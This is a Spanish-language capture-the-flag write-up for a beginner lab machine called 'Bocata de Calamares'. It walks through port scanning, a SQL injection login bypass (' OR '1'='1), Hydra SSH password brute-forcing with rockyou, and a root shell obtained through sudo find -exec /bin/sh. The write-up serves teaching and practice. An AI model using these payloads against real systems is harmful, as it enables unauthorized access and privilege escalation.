> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/bocata-de-calamares.md).
# Bocata de Calamares
馃攳 Dificultad: Principiante
### 馃攳 **RECONOCIMIENTO**
En primer lugar, tras conectarnos a la m谩quina, utilizamos el comando:
```bash
ping -c 1 192.168.1.59
```
para verificar la conectividad de red.
A continuaci贸n, se realiza el comando:
```bash
nmap -p- --open 192.168.1.59 --min-rate 5000 -n
```
para realizar un escaneo de puertos y servicios detallado en la direcci贸n IP.
Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH y** el **puerto 80** perteneciente al **servicio HTTP** est谩n abiertos por lo que a continuaci贸n se indagar谩 m谩s.
### 馃攷 **EXPLORACI脫N**
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,80 -v 192.168.1.59
```
para obtener m谩s informaci贸n sobre ese puerto espec铆ficamente.
Miramos a ver que contiene el puerto 80 por si encontramos alguna informaci贸n relevante.
Vemos que nos advierten sobre inyecciones SQL.
Como no encontramos nada m谩s relevante hacemos un escaneo de directorios.
```bash
gobuster dir -u http://192.168.1.59/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```
Nos llama la atenci贸n el archvio **login.php** por lo que miramos que contiene.
### 馃殌 **EXPLOTACI脫N**
Es un panel de login con el que probamos una **SQL Injectio**n.
```bash
admin
' OR '1'='1
```
Accedemos al enlace.
En el tercer par谩metro nos da una pista en la que tenemos que codificar en **base64** la cadena **lee\_archivos**.
```bash
echo "lee_archivos" | base64
```
Metiendo esa cadena en el diccionario descubrimos que existe esa p谩gina.
Hemos localizado al usuario **superadministrator**; procederemos a intentar encontrar su contrase帽a utilizando **Hydra**.
```bash
hydra -l superadministrator -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.59
```
Iniciamos sesi贸n con las credenciales obtenidas.
### 馃攼 PRIVILEGIOS
Al estar dentro y ejecutar:
```bash
whoami
```
a煤n no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar.
{% embed url="" %}
```bash
sudo find . -exec /bin/sh \; -quit
```
Ya somos **root**.
Te deseo mucho 茅xito en tu b煤squeda de las flags! Recuerda prestar atenci贸n a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el 茅xito est谩 en la perseverancia y en no dejar ning煤n rinc贸n sin explorar. 隆Adelante, hacker! 馃捇馃攳馃殌
